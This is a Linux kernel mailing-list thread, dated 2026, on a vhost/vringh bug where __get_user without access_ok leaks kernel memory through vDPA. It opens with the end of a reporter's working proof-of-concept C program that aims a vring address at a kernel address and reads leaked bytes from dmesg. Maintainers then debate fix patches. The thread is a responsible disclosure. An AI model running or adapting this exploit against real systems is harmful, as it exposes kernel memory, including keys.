> void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
> if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
> memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
>
> struct vhost_vring_addr va = {0};
> va.index = 0;
> va.flags = 0;
> va.desc_user_addr = (uintptr_t)descbuf;
> va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the leak source */
> va.used_user_addr = (uintptr_t)usedbuf;
> va.log_guest_addr = 0;
> if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");
>
> struct vhost_vring_state base = { .index = 0, .num = 0 };
> if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
>
> struct vhost_vring_file cf = { .index = 0, .fd = callfd };
> if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
> struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
> if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
>
> struct vhost_vring_state en = { .index = 0, .num = 1 };
> if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");
>
> __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
> | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
> if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");
>
> uint64_t one = 1;
> if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
>
> unsigned leaked = 0; int found = 0;
> for (int try = 0; try < 20 && !found; try++) {
> usleep(100000);
> FILE *d = popen("dmesg 2>/dev/null", "r");
> if (d) {
> char l[512];
> while (fgets(l, sizeof(l), d)) {
> char *p = strstr(l, "Guest says index");
> if (p) {
> unsigned idx = 0, numv = 0;
> if (sscanf(p, "Guest says index %u > %u is available",
> &idx, &numv) >= 1) {
> leaked = idx; found = 1;
> fprintf(stderr, "[!!] dmesg: %s", l);
> break;
> }
> }
> }
> pclose(d);
> }
> }
>
> if (!found) {
> fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
> FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
> if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
> die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
> }
>
> fprintf(stderr, "\n=== RESULT ===\n");
> fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
> fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n", exp, exp);
> if (leaked == exp) {
> fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
> fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
> } else {
> fprintf(stderr, "MISMATCH - investigate\n");
> }
>
> status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
> close(vfd); close(callfd); close(kickfd);
> genl_dev_del(fam, "sim0");
> return (leaked == exp) ? 0 : 2;
> }
> ```
>
> Captured dmesg from the 7.2.10 run (the disclosed leaked value):
> ```
> [ 1.882938] vringh:
> [ 1.882944] Guest says index 8312 > 1 is available
> ```
>
> 7. Impact
> Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
> read 2 bytes at an arbitrary kernel virtual address per vring kick via
> __get_user() with no access_ok(), and the value is disclosed to dmesg via
> vringh_bad(). The read is repeatable, so the whole kernel address space
> can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
> in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
> reads. No memory corruption. KASLR does not prevent it (only the address
> is randomized, the leaked content is constant). Only the use_va mode is
> affected (the non-use_va path goes through GUP, which has an equivalent
> check_range guard).
>
> Please let me know if you need more detail.
>
> Best regards,
> Haoran Wang <haoranwangsec@gmail.com>
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-15 7:23 [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough Haoran Wang
2026-10-15 7:42 ` Eugenio Perez Martin
2026-10-17 21:59 ` David Laight
@ 2026-10-18 19:24 ` Michael S. Tsirkin
2026-10-18 19:48 ` David Laight
2026-10-18 20:34 ` Linus Torvalds
2 siblings, 2 replies; 13+ messages in thread
From: Michael S. Tsirkin @ 2026-10-18 19:24 UTC (permalink / raw)
To: Haoran Wang
Cc: jasowangio, kvm, virtualization, netdev, eperezma, linux-kernel,
security
On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.
This should fix it I think? Can you confirm pls?
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
drivers/vhost/vringh.c | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
index 9066f9f12ba1..4b097170bd36 100644
--- a/drivers/vhost/vringh.c
+++ b/drivers/vhost/vringh.c
@@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
return ret;
if (vrh->use_va) {
- ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
+ __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
+
+ if (!access_ok(uaddr, sizeof(*p)))
+ return -EFAULT;
+ ret = __get_user(tmp, uaddr);
if (ret)
return ret;
} else {
@@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
tmp = cpu_to_vringh16(vrh, val);
if (vrh->use_va) {
- ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
+ __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
+
+ if (!access_ok(uaddr, sizeof(*p)))
+ return -EFAULT;
+ ret = __put_user(tmp, uaddr);
if (ret)
return ret;
} else {
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-18 19:24 ` Michael S. Tsirkin
@ 2026-10-18 19:48 ` David Laight
2026-10-18 21:42 ` Michael S. Tsirkin
2026-10-18 21:57 ` Michael S. Tsirkin
2026-10-18 20:34 ` Linus Torvalds
1 sibling, 2 replies; 13+ messages in thread
From: David Laight @ 2026-10-18 19:48 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: Haoran Wang, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
On Sun, 18 Oct 2026 15:24:41 -0400
"Michael S. Tsirkin" <mst@redhat.com> wrote:
> On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> > against the 7.2.10 source tree. I have reproduced the leak on an
> > unmodified 7.2.10 kernel.
>
>
> This should fix it I think? Can you confirm pls?
>
> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> ---
> drivers/vhost/vringh.c | 11 ++++++++---
> 1 file changed, 8 insertions(+), 3 deletions(-)
>
> diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> index 9066f9f12ba1..4b097170bd36 100644
> --- a/drivers/vhost/vringh.c
> +++ b/drivers/vhost/vringh.c
> @@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
> return ret;
>
> if (vrh->use_va) {
> - ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> +
> + if (!access_ok(uaddr, sizeof(*p)))
> + return -EFAULT;
> + ret = __get_user(tmp, uaddr);
Can't that be a normal get_user() call?
David
> if (ret)
> return ret;
> } else {
> @@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
> tmp = cpu_to_vringh16(vrh, val);
>
> if (vrh->use_va) {
> - ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> +
> + if (!access_ok(uaddr, sizeof(*p)))
> + return -EFAULT;
> + ret = __put_user(tmp, uaddr);
> if (ret)
> return ret;
> } else {
>
>
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-18 19:24 ` Michael S. Tsirkin
2026-10-18 19:48 ` David Laight
@ 2026-10-18 20:34 ` Linus Torvalds
2026-10-18 21:11 ` Linus Torvalds
2026-10-18 21:43 ` Michael S. Tsirkin
1 sibling, 2 replies; 13+ messages in thread
From: Linus Torvalds @ 2026-10-18 20:34 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: Haoran Wang, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
On Sun, 18 Oct 2026 at 09:26, Michael S. Tsirkin <mst@redhat.com> wrote:
>
> + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> +
> + if (!access_ok(uaddr, sizeof(*p)))
> + return -EFAULT;
> + ret = __get_user(tmp, uaddr);
You should never use __get_user() in the first place. It is almost
always just a bug.
And __get_user() together with access_ok() is actively wrong and
stupid. It's slower, bigger, and more bug-prone than just using
"get_user()".
The *only* reason ever to use __get_user() is in very very iffy code
that might use a kernel pointer and doesn't want the access_ok() code.
Or old legacy code from the last century when __get_user() was faster
and was inlined.
Linus
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-18 20:34 ` Linus Torvalds
@ 2026-10-18 21:11 ` Linus Torvalds
2026-10-18 21:41 ` Michael S. Tsirkin
2026-10-18 21:43 ` Michael S. Tsirkin
1 sibling, 1 reply; 13+ messages in thread
From: Linus Torvalds @ 2026-10-18 21:11 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: Haoran Wang, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
[-- Attachment #1: Type: text/plain, Size: 1154 bytes --]
On Sun, 18 Oct 2026 at 10:34, Linus Torvalds
<torvalds@linuxfoundation.org> wrote:
>
> And __get_user() together with access_ok() is actively wrong and
> stupid. It's slower, bigger, and more bug-prone than just using
> "get_user()".
Btw, if you have *multiple* accesses to the same structure, that was a
historical reason to use access_ok() with multiple __get_user() calls.
But it's not a useful pattern today - and hasn't been for years -
because the real cost is not the access_ok(), but the stac/clac that
surrounds __get_user() on modern hardware.
If performance is really crticial, the new "unsafe_get_user()" model
is the way to go.
Here's an UNTESTED example patch of how to do a conversion. It
generates much better code than __get_user() ever did. That patch
looks good to me, but again: I didn't actually *test* it (and the
reason this signal.c code has never been updated to the modern pattern
is that it really doesn't matter for performance - I decided to use it
as an example not because it matters, but because it's a good example
code-sequence for the legacy model conversion).
Somebody should test it.
Linus
[-- Attachment #2: patch.diff --]
[-- Type: text/x-patch, Size: 3551 bytes --]
kernel/signal.c | 56 ++++++++++++++++++++++++++++++--------------------------
1 file changed, 30 insertions(+), 26 deletions(-)
diff --git a/kernel/signal.c b/kernel/signal.c
index d31ebcb6ed4d..0fd1296e912b 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -4776,12 +4776,12 @@ SYSCALL_DEFINE3(sigaction, int, sig,
if (act) {
old_sigset_t mask;
- if (!access_ok(act, sizeof(*act)) ||
- __get_user(new_ka.sa.sa_handler, &act->sa_handler) ||
- __get_user(new_ka.sa.sa_restorer, &act->sa_restorer) ||
- __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
- __get_user(mask, &act->sa_mask))
- return -EFAULT;
+ scoped_user_read_access(act, Efault) {
+ unsafe_get_user(new_ka.sa.sa_handler, &act->sa_handler, Efault);
+ unsafe_get_user(new_ka.sa.sa_restorer, &act->sa_restorer, Efault);
+ unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
+ unsafe_get_user(mask, &act->sa_mask, Efault);
+ }
#ifdef __ARCH_HAS_KA_RESTORER
new_ka.ka_restorer = NULL;
#endif
@@ -4791,15 +4791,18 @@ SYSCALL_DEFINE3(sigaction, int, sig,
ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
if (!ret && oact) {
- if (!access_ok(oact, sizeof(*oact)) ||
- __put_user(old_ka.sa.sa_handler, &oact->sa_handler) ||
- __put_user(old_ka.sa.sa_restorer, &oact->sa_restorer) ||
- __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
- __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
- return -EFAULT;
+ scoped_user_write_access(act, Efault) {
+ unsafe_put_user(old_ka.sa.sa_handler, &oact->sa_handler, Efault);
+ unsafe_put_user(old_ka.sa.sa_restorer, &oact->sa_restorer, Efault);
+ unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
+ unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
+ }
}
return ret;
+
+Efault:
+ return -EFAULT;
}
#endif
#ifdef CONFIG_COMPAT_OLD_SIGACTION
@@ -4813,12 +4816,12 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
compat_uptr_t handler, restorer;
if (act) {
- if (!access_ok(act, sizeof(*act)) ||
- __get_user(handler, &act->sa_handler) ||
- __get_user(restorer, &act->sa_restorer) ||
- __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
- __get_user(mask, &act->sa_mask))
- return -EFAULT;
+ scoped_user_read_access(act, Efault) {
+ unsafe_get_user(handler, &act->sa_handler, Efault);
+ unsafe_get_user(restorer, &act->sa_restorer, Efault);
+ unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
+ unsafe_get_user(mask, &act->sa_mask, Efault);
+ }
#ifdef __ARCH_HAS_KA_RESTORER
new_ka.ka_restorer = NULL;
@@ -4831,16 +4834,17 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
if (!ret && oact) {
- if (!access_ok(oact, sizeof(*oact)) ||
- __put_user(ptr_to_compat(old_ka.sa.sa_handler),
- &oact->sa_handler) ||
- __put_user(ptr_to_compat(old_ka.sa.sa_restorer),
- &oact->sa_restorer) ||
- __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
- __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
- return -EFAULT;
+ scoped_user_write_access(act, Efault) {
+ unsafe_put_user(ptr_to_compat(old_ka.sa.sa_handler), &oact->sa_handler, Efault);
+ unsafe_put_user(ptr_to_compat(old_ka.sa.sa_restorer), &oact->sa_restorer, Efault);
+ unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
+ unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
+ }
}
return ret;
+
+Efault:
+ return -EFAULT;
}
#endif
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-18 21:11 ` Linus Torvalds
@ 2026-10-18 21:41 ` Michael S. Tsirkin
0 siblings, 0 replies; 13+ messages in thread
From: Michael S. Tsirkin @ 2026-10-18 21:41 UTC (permalink / raw)
To: Linus Torvalds
Cc: Haoran Wang, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
On Sun, Oct 18, 2026 at 11:11:44AM -1000, Linus Torvalds wrote:
> On Sun, 18 Oct 2026 at 10:34, Linus Torvalds
> <torvalds@linuxfoundation.org> wrote:
> >
> > And __get_user() together with access_ok() is actively wrong and
> > stupid. It's slower, bigger, and more bug-prone than just using
> > "get_user()".
>
> Btw, if you have *multiple* accesses to the same structure, that was a
> historical reason to use access_ok() with multiple __get_user() calls.
>
> But it's not a useful pattern today - and hasn't been for years -
> because the real cost is not the access_ok(), but the stac/clac that
> surrounds __get_user() on modern hardware.
>
> If performance is really crticial, the new "unsafe_get_user()" model
> is the way to go.
Thanks! I'll try to find the time to look into converting vhost to that.
The flood of ai found bugs I am dealing with will abate any day now.
Any... day... now...
> Here's an UNTESTED example patch of how to do a conversion. It
> generates much better code than __get_user() ever did. That patch
> looks good to me, but again: I didn't actually *test* it (and the
> reason this signal.c code has never been updated to the modern pattern
> is that it really doesn't matter for performance - I decided to use it
> as an example not because it matters, but because it's a good example
> code-sequence for the legacy model conversion).
>
> Somebody should test it.
>
> Linus
> kernel/signal.c | 56 ++++++++++++++++++++++++++++++--------------------------
> 1 file changed, 30 insertions(+), 26 deletions(-)
>
> diff --git a/kernel/signal.c b/kernel/signal.c
> index d31ebcb6ed4d..0fd1296e912b 100644
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -4776,12 +4776,12 @@ SYSCALL_DEFINE3(sigaction, int, sig,
>
> if (act) {
> old_sigset_t mask;
> - if (!access_ok(act, sizeof(*act)) ||
> - __get_user(new_ka.sa.sa_handler, &act->sa_handler) ||
> - __get_user(new_ka.sa.sa_restorer, &act->sa_restorer) ||
> - __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
> - __get_user(mask, &act->sa_mask))
> - return -EFAULT;
> + scoped_user_read_access(act, Efault) {
> + unsafe_get_user(new_ka.sa.sa_handler, &act->sa_handler, Efault);
> + unsafe_get_user(new_ka.sa.sa_restorer, &act->sa_restorer, Efault);
> + unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
> + unsafe_get_user(mask, &act->sa_mask, Efault);
> + }
> #ifdef __ARCH_HAS_KA_RESTORER
> new_ka.ka_restorer = NULL;
> #endif
> @@ -4791,15 +4791,18 @@ SYSCALL_DEFINE3(sigaction, int, sig,
> ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
>
> if (!ret && oact) {
> - if (!access_ok(oact, sizeof(*oact)) ||
> - __put_user(old_ka.sa.sa_handler, &oact->sa_handler) ||
> - __put_user(old_ka.sa.sa_restorer, &oact->sa_restorer) ||
> - __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
> - __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
> - return -EFAULT;
> + scoped_user_write_access(act, Efault) {
> + unsafe_put_user(old_ka.sa.sa_handler, &oact->sa_handler, Efault);
> + unsafe_put_user(old_ka.sa.sa_restorer, &oact->sa_restorer, Efault);
> + unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
> + unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
> + }
> }
>
> return ret;
> +
> +Efault:
> + return -EFAULT;
> }
> #endif
> #ifdef CONFIG_COMPAT_OLD_SIGACTION
> @@ -4813,12 +4816,12 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
> compat_uptr_t handler, restorer;
>
> if (act) {
> - if (!access_ok(act, sizeof(*act)) ||
> - __get_user(handler, &act->sa_handler) ||
> - __get_user(restorer, &act->sa_restorer) ||
> - __get_user(new_ka.sa.sa_flags, &act->sa_flags) ||
> - __get_user(mask, &act->sa_mask))
> - return -EFAULT;
> + scoped_user_read_access(act, Efault) {
> + unsafe_get_user(handler, &act->sa_handler, Efault);
> + unsafe_get_user(restorer, &act->sa_restorer, Efault);
> + unsafe_get_user(new_ka.sa.sa_flags, &act->sa_flags, Efault);
> + unsafe_get_user(mask, &act->sa_mask, Efault);
> + }
>
> #ifdef __ARCH_HAS_KA_RESTORER
> new_ka.ka_restorer = NULL;
> @@ -4831,16 +4834,17 @@ COMPAT_SYSCALL_DEFINE3(sigaction, int, sig,
> ret = do_sigaction(sig, act ? &new_ka : NULL, oact ? &old_ka : NULL);
>
> if (!ret && oact) {
> - if (!access_ok(oact, sizeof(*oact)) ||
> - __put_user(ptr_to_compat(old_ka.sa.sa_handler),
> - &oact->sa_handler) ||
> - __put_user(ptr_to_compat(old_ka.sa.sa_restorer),
> - &oact->sa_restorer) ||
> - __put_user(old_ka.sa.sa_flags, &oact->sa_flags) ||
> - __put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask))
> - return -EFAULT;
> + scoped_user_write_access(act, Efault) {
> + unsafe_put_user(ptr_to_compat(old_ka.sa.sa_handler), &oact->sa_handler, Efault);
> + unsafe_put_user(ptr_to_compat(old_ka.sa.sa_restorer), &oact->sa_restorer, Efault);
> + unsafe_put_user(old_ka.sa.sa_flags, &oact->sa_flags, Efault);
> + unsafe_put_user(old_ka.sa.sa_mask.sig[0], &oact->sa_mask, Efault);
> + }
> }
> return ret;
> +
> +Efault:
> + return -EFAULT;
> }
> #endif
>
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-18 19:48 ` David Laight
@ 2026-10-18 21:42 ` Michael S. Tsirkin
2026-10-18 21:57 ` Michael S. Tsirkin
1 sibling, 0 replies; 13+ messages in thread
From: Michael S. Tsirkin @ 2026-10-18 21:42 UTC (permalink / raw)
To: David Laight
Cc: Haoran Wang, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
On Sun, Oct 18, 2026 at 08:48:38PM +0100, David Laight wrote:
> On Sun, 18 Oct 2026 15:24:41 -0400
> "Michael S. Tsirkin" <mst@redhat.com> wrote:
>
> > On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> > > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> > > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> > > against the 7.2.10 source tree. I have reproduced the leak on an
> > > unmodified 7.2.10 kernel.
> >
> >
> > This should fix it I think? Can you confirm pls?
> >
> > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > ---
> > drivers/vhost/vringh.c | 11 ++++++++---
> > 1 file changed, 8 insertions(+), 3 deletions(-)
> >
> > diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> > index 9066f9f12ba1..4b097170bd36 100644
> > --- a/drivers/vhost/vringh.c
> > +++ b/drivers/vhost/vringh.c
> > @@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
> > return ret;
> >
> > if (vrh->use_va) {
> > - ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > + if (!access_ok(uaddr, sizeof(*p)))
> > + return -EFAULT;
> > + ret = __get_user(tmp, uaddr);
>
> Can't that be a normal get_user() call?
>
> David
Now that you mention it, yes. Thanks!
> > if (ret)
> > return ret;
> > } else {
> > @@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
> > tmp = cpu_to_vringh16(vrh, val);
> >
> > if (vrh->use_va) {
> > - ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > + if (!access_ok(uaddr, sizeof(*p)))
> > + return -EFAULT;
> > + ret = __put_user(tmp, uaddr);
> > if (ret)
> > return ret;
> > } else {
> >
> >
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-18 20:34 ` Linus Torvalds
2026-10-18 21:11 ` Linus Torvalds
@ 2026-10-18 21:43 ` Michael S. Tsirkin
1 sibling, 0 replies; 13+ messages in thread
From: Michael S. Tsirkin @ 2026-10-18 21:43 UTC (permalink / raw)
To: Linus Torvalds
Cc: Haoran Wang, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
On Sun, Oct 18, 2026 at 10:34:12AM -1000, Linus Torvalds wrote:
> On Sun, 18 Oct 2026 at 09:26, Michael S. Tsirkin <mst@redhat.com> wrote:
> >
> > + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > + if (!access_ok(uaddr, sizeof(*p)))
> > + return -EFAULT;
> > + ret = __get_user(tmp, uaddr);
>
> You should never use __get_user() in the first place. It is almost
> always just a bug.
Right, I was thinking of some other code. This one should just be
get_user.
> And __get_user() together with access_ok() is actively wrong and
> stupid. It's slower, bigger, and more bug-prone than just using
> "get_user()".
>
> The *only* reason ever to use __get_user() is in very very iffy code
> that might use a kernel pointer and doesn't want the access_ok() code.
>
> Or old legacy code from the last century when __get_user() was faster
> and was inlined.
>
> Linus
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-18 19:48 ` David Laight
2026-10-18 21:42 ` Michael S. Tsirkin
@ 2026-10-18 21:57 ` Michael S. Tsirkin
[not found] ` <CAHk-=wjneFJ7XmZ6ux-LsHq4apDgANcKfERztmAG9sGVY_TxAg@mail.gmail.com>
1 sibling, 1 reply; 13+ messages in thread
From: Michael S. Tsirkin @ 2026-10-18 21:57 UTC (permalink / raw)
To: David Laight
Cc: Haoran Wang, jasowangio, kvm, virtualization, netdev, eperezma,
linux-kernel, security
On Sun, Oct 18, 2026 at 08:48:38PM +0100, David Laight wrote:
> On Sun, 18 Oct 2026 15:24:41 -0400
> "Michael S. Tsirkin" <mst@redhat.com> wrote:
>
> > On Thu, Oct 15, 2026 at 03:23:45PM +0800, Haoran Wang wrote:
> > > I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> > > getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> > > against the 7.2.10 source tree. I have reproduced the leak on an
> > > unmodified 7.2.10 kernel.
> >
> >
> > This should fix it I think? Can you confirm pls?
> >
> > Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> > ---
> > drivers/vhost/vringh.c | 11 ++++++++---
> > 1 file changed, 8 insertions(+), 3 deletions(-)
> >
> > diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
> > index 9066f9f12ba1..4b097170bd36 100644
> > --- a/drivers/vhost/vringh.c
> > +++ b/drivers/vhost/vringh.c
> > @@ -1213,7 +1213,11 @@ static inline int getu16_iotlb(const struct vringh *vrh,
> > return ret;
> >
> > if (vrh->use_va) {
> > - ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > + if (!access_ok(uaddr, sizeof(*p)))
> > + return -EFAULT;
> > + ret = __get_user(tmp, uaddr);
>
> Can't that be a normal get_user() call?
>
> David
Ugh, actually no. This is called under local_bh_disable.
get_user would splat on might_sleep.
> > if (ret)
> > return ret;
> > } else {
> > @@ -1251,7 +1255,11 @@ static inline int putu16_iotlb(const struct vringh *vrh,
> > tmp = cpu_to_vringh16(vrh, val);
> >
> > if (vrh->use_va) {
> > - ret = __put_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
> > + __virtio16 __user *uaddr = ivec.iov.iovec[0].iov_base;
> > +
> > + if (!access_ok(uaddr, sizeof(*p)))
> > + return -EFAULT;
> > + ret = __put_user(tmp, uaddr);
> > if (ret)
> > return ret;
> > } else {
> >
> >
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
[not found] ` <CAHk-=wjneFJ7XmZ6ux-LsHq4apDgANcKfERztmAG9sGVY_TxAg@mail.gmail.com>
@ 2026-10-18 22:13 ` Michael S. Tsirkin
2026-10-18 23:12 ` Linus Torvalds
1 sibling, 0 replies; 13+ messages in thread
From: Michael S. Tsirkin @ 2026-10-18 22:13 UTC (permalink / raw)
To: Linus Torvalds
Cc: David Laight, Haoran Wang, jasowangio, KVM list, virtualization,
Netdev, Eugenio Pérez, Linux Kernel Mailing List,
Security Officers
On Sun, Oct 18, 2026 at 12:06:36PM -1000, Linus Torvalds wrote:
> > > > +
> > > > + if (!access_ok(uaddr, sizeof(*p)))
> > > > + return -EFAULT;
> > > > + ret = __get_user(tmp, uaddr);
> > >
> > > Can't that be a normal get_user() call?
> > >
> > > David
>
>
> > Ugh, actually no. This is called under local_bh_disable.
> >
> > get_user would splat on might_sleep.
> I[ sorry for html - driving around ]
>
> That's a separate bug, and you really shouldn't use __get_user to work around
> it just because it doesn't check.
>
> You should use pagefault_disable() around the access. And if there is still a
> sleep_on() complaint, that should be fixed.
>
> Linus
Thanks Linus, will look into this.
--
MST
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
[not found] ` <CAHk-=wjneFJ7XmZ6ux-LsHq4apDgANcKfERztmAG9sGVY_TxAg@mail.gmail.com>
2026-10-18 22:13 ` Michael S. Tsirkin
@ 2026-10-18 23:12 ` Linus Torvalds
1 sibling, 0 replies; 13+ messages in thread
From: Linus Torvalds @ 2026-10-18 23:12 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: David Laight, Haoran Wang, jasowangio, KVM list, virtualization,
Netdev, Eugenio Pérez, Linux Kernel Mailing List,
Security Officers
On Sun, 18 Oct 2026 at 12:06, Linus Torvalds
<torvalds@linuxfoundation.org> wrote:
>
